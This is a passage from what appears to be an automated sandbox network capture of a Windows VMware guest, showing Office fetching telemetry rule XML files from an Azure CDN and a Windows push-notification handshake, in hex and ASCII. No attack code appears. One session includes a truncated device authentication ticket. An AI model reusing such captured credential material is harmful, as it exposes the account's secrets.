N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:10 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:11 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:10 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 417fcf05-401e-0035-6dd4-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172910Z-15b8b599d88g5tp8hC1TEByx6w000000063g00000000rt25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 17:29:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:11 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:11 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 01d403fe-801e-0078-7dbf-3ebac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172911Z-178bfbc474bpscmfhC1NYCfc2c00000006bg00000000e3xe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:11 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49926	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 2b 5a 41 62 4a 41 66 50 55 4f 6e 63 34 76 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 62 62 63 31 34 38 39 38 62 32 65 32 39 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 3+ZAbJAfPUOnc4v6.1Context: b7bbc14898b2e290
2024-11-25 17:29:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-25 17:29:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 33 2b 5a 41 62 4a 41 66 50 55 4f 6e 63 34 76 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 62 62 63 31 34 38 39 38 62 32 65 32 39 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 73 57 41 6d 77 42 2b 42 59 38 37 62 74 32 64 4a 4f 68 6a 61 68 4f 70 70 6f 35 34 71 79 33 38 52 37 53 47 55 45 4f 49 66 6a 73 36 4c 41 5a 62 2f 53 50 54 53 36 2b 79 44 54 39 65 45 6e 76 7a 75 6d 30 75 31 54 50 6f 63 6e 73 61 6a 64 46 57 43 4c 77 50 64 6d 35 38 44 42 79 64 72 30 32 4a 55 64 72 43 76 36 66 7a 63 73 33 31 4d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 3+ZAbJAfPUOnc4v6.2Context: b7bbc14898b2e290<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZsWAmwB+BY87bt2dJOhjahOppo54qy38R7SGUEOIfjs6LAZb/SPTS6+yDT9eEnvzum0u1TPocnsajdFWCLwPdm58DBydr02JUdrCv6fzcs31M
2024-11-25 17:29:11 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 2b 5a 41 62 4a 41 66 50 55 4f 6e 63 34 76 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 37 62 62 63 31 34 38 39 38 62 32 65 32 39 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 3+ZAbJAfPUOnc4v6.3Context: b7bbc14898b2e290<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 17:29:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 17:29:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 51 67 2b 6c 6b 53 73 6f 45 57 45 43 51 6f 38 77 41 74 47 59 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VQg+lkSsoEWECQo8wAtGYQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:12 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7b3b97af-701e-003e-795c-3d79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172913Z-178bfbc474b7cbwqhC1NYC8z4n00000007kg00000000sft0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:12 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172913Z-174c587ffdf7t49mhC1TEB4qbg000000066g00000000907y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:12 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: ebbdbf89-001e-00a2-5a6a-3cd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172913Z-174c587ffdftjz9shC1TEBsh98000000061g00000000pp4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:12 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a2a0f415-801e-0035-50c6-3e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172913Z-178bfbc474bmqmgjhC1NYCy16c00000007tg00000000kd3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:13 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 2a463278-e01e-001f-3ed1-3e1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172913Z-178bfbc474bq2pr7hC1NYCkfgg00000007u000000000rn8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:15 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: f7275632-901e-00ac-0fb9-3eb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172915Z-178bfbc474b7cbwqhC1NYC8z4n00000007t00000000024yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:15 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1d464b1a-a01e-006f-30d8-3e13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172915Z-15b8b599d889gj5whC1TEBfyk000000006400000000072pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:15 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 852b0afa-d01e-00a1-0e9b-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172915Z-174c587ffdfldtt2hC1TEBwv9c000000060000000000rzfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
